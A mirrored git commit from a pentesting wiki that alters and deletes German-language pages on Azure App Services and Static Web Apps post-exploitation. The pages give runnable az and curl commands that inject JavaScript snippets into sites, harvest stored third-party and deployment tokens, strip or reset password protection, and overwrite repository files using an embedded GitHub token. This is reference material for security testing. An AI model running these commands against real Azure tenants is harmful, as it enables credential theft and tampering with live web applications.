mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-29 06:03:26 -08:00
Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md
This commit is contained in:
@@ -111,7 +111,7 @@ Microsoft Graph PowerShell ist ein plattformübergreifendes SDK, das den Zugriff
|
||||
|
||||
Folgen Sie diesem Link für die [**Installationsanweisungen**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation).
|
||||
|
||||
Befehle in Microsoft Graph PowerShell sind strukturiert wie: `<Action>-Mg<Service> <parameters>`
|
||||
Befehle in Microsoft Graph PowerShell sind strukturiert wie: `<Action>-Mg<Service> <Parameter>`
|
||||
|
||||
#### Debug Microsoft Graph PowerShell
|
||||
|
||||
@@ -127,3 +127,5 @@ Das Azure Active Directory (AD) Modul, jetzt **veraltet**, ist Teil von Azure Po
|
||||
> Dies wird durch Microsoft Graph PowerShell ersetzt
|
||||
|
||||
Folgen Sie diesem Link für die [**Installationsanweisungen**](https://www.powershellgallery.com/packages/AzureAD).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,162 +0,0 @@
|
||||
# Az - Static Web Apps Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Static Web Apps
|
||||
|
||||
Für weitere Informationen zu diesem Dienst siehe:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
Es ist möglich, eine statische Webseite so zu gestalten, dass beliebiger HTML-Code geladen wird, indem ein Snippet erstellt wird. Dies könnte es einem Angreifer ermöglichen, JS-Code in die Webanwendung einzuschleusen und sensible Informationen wie Anmeldeinformationen oder mnemonische Schlüssel (in Web3-Wallets) zu stehlen.
|
||||
|
||||
Der folgende Befehl erstellt ein Snippet, das immer von der Webanwendung geladen wird::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"name": "supersnippet",
|
||||
"location": "Body",
|
||||
"applicableEnvironmentsMode": "AllEnvironments",
|
||||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||||
"environments": [],
|
||||
"insertBottom": false
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Konfigurierte Drittanbieter-Anmeldeinformationen lesen
|
||||
|
||||
Wie im Abschnitt App Service erklärt:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Durch Ausführen des folgenden Befehls ist es möglich, die **Drittanbieter-Anmeldeinformationen** zu lesen, die im aktuellen Konto konfiguriert sind. Beachten Sie, dass Sie beispielsweise, wenn einige Github-Anmeldeinformationen in einem anderen Benutzer konfiguriert sind, nicht auf das Token eines anderen Benutzers zugreifen können.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
Dieser Befehl gibt Tokens für Github, Bitbucket, Dropbox und OneDrive zurück.
|
||||
|
||||
Hier sind einige Beispielbefehle, um die Tokens zu überprüfen:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Datei überschreiben - Routen, HTML, JS überschreiben...
|
||||
|
||||
Es ist möglich, eine **Datei im Github-Repo** der App über Azure zu **überschreiben**, indem man den **Github-Token** verwendet und eine Anfrage wie die folgende sendet, die den Pfad der zu überschreibenden Datei, den Inhalt der Datei und die Commit-Nachricht angibt.
|
||||
|
||||
Dies kann von Angreifern missbraucht werden, um im Grunde **den Inhalt der Webanwendung zu ändern**, um bösartige Inhalte bereitzustellen (Anmeldeinformationen, mnemonische Schlüssel stehlen...) oder einfach um **bestimmte Pfade** auf ihre eigenen Server umzuleiten, indem sie die Datei `staticwebapp.config.json` überschreiben.
|
||||
|
||||
> [!WARNING]
|
||||
> Beachten Sie, dass ein Angreifer, wenn er es schafft, das Github-Repo auf irgendeine Weise zu kompromittieren, die Datei auch direkt von Github überschreiben kann.
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commit": {
|
||||
"message": "Update static web app route configuration",
|
||||
"branchName": "main",
|
||||
"committer": {
|
||||
"name": "Azure App Service",
|
||||
"email": "donotreply@microsoft.com"
|
||||
},
|
||||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||||
"filePath": "staticwebapp.config.json",
|
||||
"message": "Update static web app route configuration",
|
||||
"repoName": "carlospolop/my-first-static-web-app",
|
||||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||||
},
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
Mit dieser Berechtigung ist es möglich, das **Passwort** zu ändern, das eine statische Webanwendung schützt, oder sogar jede Umgebung zu entprotecten, indem man eine Anfrage wie die folgende sendet:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"password": "SuperPassword123.",
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "AllEnvironments"
|
||||
}
|
||||
}'
|
||||
|
||||
# Remove the need of a password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||||
"secretState": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
Diese Berechtigung ermöglicht es, den **API-Schlüssel-Bereitstellungstoken** für die statische App abzurufen.
|
||||
|
||||
Dieser Token ermöglicht die Bereitstellung der App.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
Dann könnten Sie, um eine App zu aktualisieren, den folgenden Befehl ausführen. Beachten Sie, dass dieser Befehl extrahiert wurde, um **zu überprüfen, wie Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) funktioniert**, da es der ist, den Azure standardmäßig verwendet. Daher könnten sich das Bild und die Parameter in Zukunft ändern.
|
||||
|
||||
1. Laden Sie das Repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) herunter (oder ein anderes Repo, das Sie bereitstellen möchten) und führen Sie `cd react-basic` aus.
|
||||
2. Ändern Sie den Code, den Sie bereitstellen möchten.
|
||||
3. Stellen Sie es bereit, indem Sie (denken Sie daran, das `<api-token>` zu ändern):
|
||||
```bash
|
||||
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
Mit dieser Berechtigung ist es möglich, **den Quellcode der statischen Webanwendung auf ein anderes Github-Repository zu ändern**, jedoch wird es nicht automatisch bereitgestellt, da dies normalerweise über eine Github Action mit dem Token erfolgen muss, das die Aktion autorisiert hat, da dieses Token nicht automatisch in den Github-Geheimnissen des Repos aktualisiert wird (es wird nur automatisch hinzugefügt, wenn die App erstellt wird).
|
||||
```bash
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
Mit dieser Berechtigung ist es möglich, **den API-Schlüssel der statischen Webanwendung zurückzusetzen**, was potenziell die Workflows, die die Anwendung automatisch bereitstellen, DoSing kann.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,270 +0,0 @@
|
||||
# Az - App Services
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## App Service Grundinformationen
|
||||
|
||||
Azure App Services ermöglicht Entwicklern, **Webanwendungen, mobile App-Backends und APIs nahtlos zu erstellen, bereitzustellen und zu skalieren**. Es unterstützt mehrere Programmiersprachen und integriert sich mit verschiedenen Azure-Tools und -Diensten für verbesserte Funktionalität und Verwaltung.
|
||||
|
||||
Jede App läuft in einer Sandbox, aber die Isolation hängt von den App Service-Plänen ab.
|
||||
|
||||
- Apps in den kostenlosen und gemeinsamen Stufen laufen auf gemeinsamen VMs.
|
||||
- Apps in den Standard- und Premium-Stufen laufen auf dedizierten VMs.
|
||||
|
||||
> [!WARNING]
|
||||
> Beachten Sie, dass **keine** dieser Isolierungen **andere gängige** **Webanfälligkeiten** (wie Datei-Uploads oder Injektionen) **verhindert**. Und wenn eine **Verwaltungsidentität** verwendet wird, könnte sie in der Lage sein, **Berechtigungen zu ihnen zu eskalieren**.
|
||||
|
||||
Apps haben einige interessante Konfigurationen:
|
||||
|
||||
- **Always On**: Stellt sicher, dass die App immer läuft. Wenn nicht aktiviert, wird die App nach 20 Minuten Inaktivität gestoppt und startet wieder, wenn eine Anfrage eingeht.
|
||||
- Dies ist entscheidend, wenn Sie einen Webjob haben, der kontinuierlich laufen muss, da der Webjob stoppt, wenn die App stoppt.
|
||||
- **SSH**: Wenn aktiviert, kann ein Benutzer mit ausreichenden Berechtigungen über SSH eine Verbindung zur App herstellen.
|
||||
- **Debugging**: Wenn aktiviert, kann ein Benutzer mit ausreichenden Berechtigungen die App debuggen. Dies wird jedoch automatisch alle 48 Stunden deaktiviert.
|
||||
- **Web App + Datenbank**: Die Webkonsole ermöglicht es, eine App mit einer Datenbank zu erstellen. In diesem Fall ist es möglich, die zu verwendende Datenbank auszuwählen (SQLAzure, PostgreSQL, MySQL, MongoDB), und es ermöglicht auch die Erstellung eines Azure Cache für Redis.
|
||||
- Die URL, die die Anmeldeinformationen für die Datenbank und Redis enthält, wird in den **appsettings** gespeichert.
|
||||
- **Container**: Es ist möglich, einen Container im App Service bereitzustellen, indem die URL des Containers und die Anmeldeinformationen zugegriffen werden.
|
||||
|
||||
## Basisauthentifizierung
|
||||
|
||||
Beim Erstellen einer Webanwendung (und normalerweise einer Azure-Funktion) ist es möglich anzugeben, ob die Basisauthentifizierung aktiviert werden soll. Dies aktiviert im Wesentlichen **SCM und FTP** für die Anwendung, sodass die Anwendung mit diesen Technologien bereitgestellt werden kann.\
|
||||
Darüber hinaus stellt Azure eine **API zur Verfügung, die es ermöglicht, den Benutzernamen, das Passwort und die URL** zum Verbinden mit den SCM- und FTP-Servern abzurufen.
|
||||
|
||||
Es ist möglich, sich über einen Webbrowser mit dem SCM unter `https://<SMC-URL>/BasicAuth` zu verbinden und alle Dateien und Bereitstellungen dort zu überprüfen.
|
||||
|
||||
### Kudu
|
||||
|
||||
Kudu ist eine **Bereitstellungs-Engine und Management-Plattform für Azure App Service und Function Apps**, die Git-basierte Bereitstellungen, Remote-Debugging und Dateiverwaltungsfunktionen für Webanwendungen bietet. Es ist über die SCM-URL der Webanwendung zugänglich.
|
||||
|
||||
Beachten Sie, dass die von App Services und Function Apps verwendeten Kudu-Versionen unterschiedlich sind, wobei die Version der Function Apps viel eingeschränkter ist.
|
||||
|
||||
Einige interessante Endpunkte, die Sie in Kudu finden können, sind:
|
||||
- `/DebugConsole`: Eine Konsole, die es Ihnen ermöglicht, Befehle in der Umgebung auszuführen, in der Kudu läuft.
|
||||
- Beachten Sie, dass diese Umgebung **keinen Zugriff** auf den Metadatenservice hat, um Tokens abzurufen.
|
||||
- `/webssh/host`: Ein webbasierter SSH-Client, der es Ihnen ermöglicht, sich innerhalb des Containers zu verbinden, in dem die App läuft.
|
||||
- Diese Umgebung **hat Zugriff auf den Metadatenservice**, um Tokens von den zugewiesenen verwalteten Identitäten zu erhalten.
|
||||
- `/Env`: Informationen über das System, App-Einstellungen, Umgebungsvariablen, Verbindungszeichenfolgen und HTTP-Header abrufen.
|
||||
- `/wwwroot/`: Das Stammverzeichnis der Webanwendung. Sie können alle Dateien von hier herunterladen.
|
||||
|
||||
## Quellen
|
||||
|
||||
App Services erlauben standardmäßig das Hochladen des Codes als Zip-Datei, ermöglichen jedoch auch die Verbindung zu einem Drittanbieterdienst und das Abrufen des Codes von dort.
|
||||
|
||||
- Die derzeit unterstützten Drittanbieterquellen sind **Github** und **Bitbucket**.
|
||||
- Sie können die Authentifizierungstokens abrufen, indem Sie `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` ausführen.
|
||||
- Azure wird standardmäßig eine **Github Action** einrichten, um den Code jedes Mal in den App Service bereitzustellen, wenn der Code aktualisiert wird.
|
||||
- Es ist auch möglich, ein **remote git repository** (mit Benutzername und Passwort) anzugeben, um den Code von dort abzurufen.
|
||||
- Sie können die Anmeldeinformationen für das Remote-Repo abrufen, indem Sie `az webapp deployment source show --name <app-name> --resource-group <res-group>` oder `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` ausführen.
|
||||
- Es ist auch möglich, ein **Azure Repository** zu verwenden.
|
||||
- Es ist auch möglich, ein **lokales git repository** zu konfigurieren.
|
||||
- Sie können die URL des git-Repos mit `az webapp deployment source show --name <app-name> --resource-group <res-group>` abrufen, und es wird die SCM-URL der App sein.
|
||||
- Um es zu klonen, benötigen Sie die SCM-Anmeldeinformationen, die Sie mit `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>` abrufen können.
|
||||
|
||||
## Webjobs
|
||||
|
||||
Azure WebJobs sind **Hintergrundaufgaben, die in der Azure App Service-Umgebung ausgeführt werden**. Sie ermöglichen Entwicklern, Skripte oder Programme neben ihren Webanwendungen auszuführen, was es einfacher macht, asynchrone oder zeitintensive Operationen wie Datei-Processing, Datenverarbeitung oder geplante Aufgaben zu handhaben. Es gibt 2 Arten von Webjobs:
|
||||
- **Continuous**: Läuft unendlich in einer Schleife und wird sofort nach der Erstellung ausgelöst. Es ist ideal für Aufgaben, die eine ständige Verarbeitung erfordern. Wenn die App jedoch stoppt, weil Always On deaktiviert ist und sie in den letzten 20 Minuten keine Anfrage erhalten hat, stoppt auch der Webjob.
|
||||
- **Triggered**: Läuft auf Abruf oder basierend auf einem Zeitplan. Es eignet sich am besten für periodische Aufgaben, wie Batch-Datenaktualisierungen oder Wartungsroutinen.
|
||||
|
||||
Webjobs sind aus der Perspektive eines Angreifers sehr interessant, da sie verwendet werden könnten, um **Code** in der Umgebung auszuführen und **Berechtigungen** zu den angehängten verwalteten Identitäten zu eskalieren.
|
||||
|
||||
Darüber hinaus ist es immer interessant, die von den Webjobs generierten **Protokolle** zu überprüfen, da sie **sensible Informationen** enthalten könnten.
|
||||
|
||||
### Slots
|
||||
|
||||
Azure App Service Slots werden verwendet, um **verschiedene Versionen der Anwendung** im selben App Service bereitzustellen. Dies ermöglicht es Entwicklern, neue Funktionen oder Änderungen in einer separaten Umgebung zu testen, bevor sie in die Produktionsumgebung bereitgestellt werden.
|
||||
|
||||
Darüber hinaus ist es möglich, einen **Prozentsatz des Traffics** an einen bestimmten Slot weiterzuleiten, was nützlich für **A/B-Tests** und für Hintertürzwecke ist.
|
||||
|
||||
### Azure Function Apps
|
||||
|
||||
Im Grunde sind **Azure Function Apps ein Teil von Azure App Service** im Web, und wenn Sie zur Webkonsole gehen und alle App-Dienste auflisten oder `az webapp list` im az cli ausführen, werden Sie auch **die Function Apps hier aufgelistet sehen**.
|
||||
|
||||
Tatsächlich werden einige der **sicherheitsbezogenen Funktionen**, die App Services verwenden (`webapp` im az cli), **auch von Function Apps verwendet**.
|
||||
|
||||
### Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az" }}
|
||||
```bash
|
||||
# List webapps
|
||||
az webapp list
|
||||
## Less information
|
||||
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table
|
||||
## Get SCM URL of each webapp
|
||||
az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g'
|
||||
|
||||
# Get info about 1 app
|
||||
az webapp show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get instances of a webapp
|
||||
az webapp list-instances --name <name> --resource-group <res-group>
|
||||
## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web
|
||||
|
||||
# Get access restrictions of an app
|
||||
az webapp config access-restriction show --name <name> --resource-group <res-group>
|
||||
|
||||
# Remove access restrictions
|
||||
az webapp config access-restriction remove --resource-group <res-group> -n <name> --rule-name <rule-name>
|
||||
|
||||
# Get connection strings of a webapp
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get appsettings of an app
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get SCM and FTP credentials
|
||||
az webapp deployment list-publishing-profiles --name <name> --resource-group <res-group>
|
||||
|
||||
# Get configured Auth information
|
||||
az webapp auth show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get backups of a webapp
|
||||
az webapp config backup list --webapp-name <name> --resource-group <res-group>
|
||||
|
||||
# Get backups scheduled for a webapp
|
||||
az webapp config backup show --webapp-name <name> --resource-group <res-group>
|
||||
|
||||
# Get snapshots
|
||||
az webapp config snapshot list --resource-group <res-group> -n <name>
|
||||
|
||||
# Restore snapshot
|
||||
az webapp config snapshot restore -g <res-group> -n <name> --time 2018-12-11T23:34:16.8388367
|
||||
|
||||
# Get slots
|
||||
az webapp deployment slot list --name <AppName> --resource-group <ResourceGroupName> --output table
|
||||
az webapp show --slot <SlotName> --name <AppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# Get traffic-routing
|
||||
az webapp traffic-routing show --name <AppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# Get used container by the app
|
||||
az webapp config container show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get storage account configurations of a webapp
|
||||
az webapp config storage-account list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get configured container (if any) in the webapp, it could contain credentials
|
||||
az webapp config container show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get Webjobs
|
||||
az webapp webjob continuous list --resource-group <res-group> --name <app-name>
|
||||
az webapp webjob triggered list --resource-group <res-group> --name <app-name>
|
||||
|
||||
# Read webjobs logs with Azure permissions
|
||||
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
|
||||
# Read webjobs logs with SCM credentials
|
||||
curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \
|
||||
--user '<username>:<password>' -v
|
||||
|
||||
# Get connections of a webapp
|
||||
az webapp conection list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get hybrid-connections of a webapp
|
||||
az webapp hybrid-connections list --name <name> --resource-group <res-group>
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
```powershell
|
||||
# Get App Services and Function Apps
|
||||
Get-AzWebApp
|
||||
# Get only App Services
|
||||
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="az get all" }}
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
# Get all App Service and Function Apps
|
||||
|
||||
# Define Azure subscription ID
|
||||
azure_subscription="your_subscription_id"
|
||||
|
||||
# Log in to Azure
|
||||
az login
|
||||
|
||||
# Select Azure subscription
|
||||
az account set --subscription $azure_subscription
|
||||
|
||||
# Get all App Services in the specified subscription
|
||||
list_app_services=$(az appservice list --query "[].{appServiceName: name, group: resourceGroup}" -o tsv)
|
||||
|
||||
# Iterate over each App Service
|
||||
echo "$list_app_services" | while IFS=$'\t' read -r appServiceName group; do
|
||||
# Get the type of the App Service
|
||||
service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv)
|
||||
|
||||
# Check if it is a Function App and print its name
|
||||
if [ "$service_type" == "functionapp" ]; then
|
||||
echo "Function App Name: $appServiceName"
|
||||
fi
|
||||
done
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Anmeldeinformationen erhalten & Zugriff auf den Webanwendungscode erhalten
|
||||
```bash
|
||||
# Get connection strings that could contain credentials (with DBs for example)
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
## Check how to use the DBs connection strings in the SQL page
|
||||
|
||||
# Get credentials to access the code and DB credentials if configured.
|
||||
az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>
|
||||
|
||||
|
||||
# Get git URL to access the code
|
||||
az webapp deployment source config-local-git --resource-group <res-group> -n <name>
|
||||
|
||||
# Access/Modify the code via git
|
||||
git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.git'
|
||||
## In my case the username was: $nameofthewebapp and the password some random chars
|
||||
## If you change the code and do a push, the app is automatically redeployed
|
||||
```
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Beispiele zur Erstellung von Webanwendungen
|
||||
|
||||
### Python von lokal
|
||||
|
||||
Dieses Tutorial basiert auf dem von [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli).
|
||||
```bash
|
||||
# Clone repository
|
||||
git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart
|
||||
cd msdocs-python-flask-webapp-quickstart
|
||||
|
||||
# Create webapp from this code
|
||||
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
|
||||
```
|
||||
In das SCM-Portal einloggen oder über FTP einloggen, ist es möglich, in `/wwwroot` die komprimierte Datei `output.tar.gz` zu sehen, die den Code der Webanwendung enthält.
|
||||
|
||||
> [!TIP]
|
||||
> Nur über FTP zu verbinden und die Datei `output.tar.gz` zu ändern, reicht nicht aus, um den von der Webanwendung ausgeführten Code zu ändern.
|
||||
|
||||
**Ein Angreifer könnte diese Datei herunterladen, sie ändern und sie erneut hochladen, um beliebigen Code in der Webanwendung auszuführen.**
|
||||
|
||||
### Python von Github
|
||||
|
||||
Dieses Tutorial basiert auf dem vorherigen, verwendet jedoch ein Github-Repository.
|
||||
|
||||
1. Forken Sie das Repo msdocs-python-flask-webapp-quickstart in Ihrem Github-Konto.
|
||||
2. Erstellen Sie eine neue Python-Webanwendung in Azure.
|
||||
3. Ändern Sie im `Deployment Center` die Quelle, melden Sie sich mit Github an, wählen Sie das geforkte Repo aus und klicken Sie auf `Speichern`.
|
||||
|
||||
Wie im vorherigen Fall ist es möglich, sich in das SCM-Portal einzuloggen oder über FTP einzuloggen und in `/wwwroot` die komprimierte Datei `output.tar.gz` zu sehen, die den Code der Webanwendung enthält.
|
||||
|
||||
> [!TIP]
|
||||
> Nur über FTP zu verbinden und die Datei `output.tar.gz` zu ändern und eine Bereitstellung erneut auszulösen, reicht nicht aus, um den von der Webanwendung ausgeführten Code zu ändern.
|
||||
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user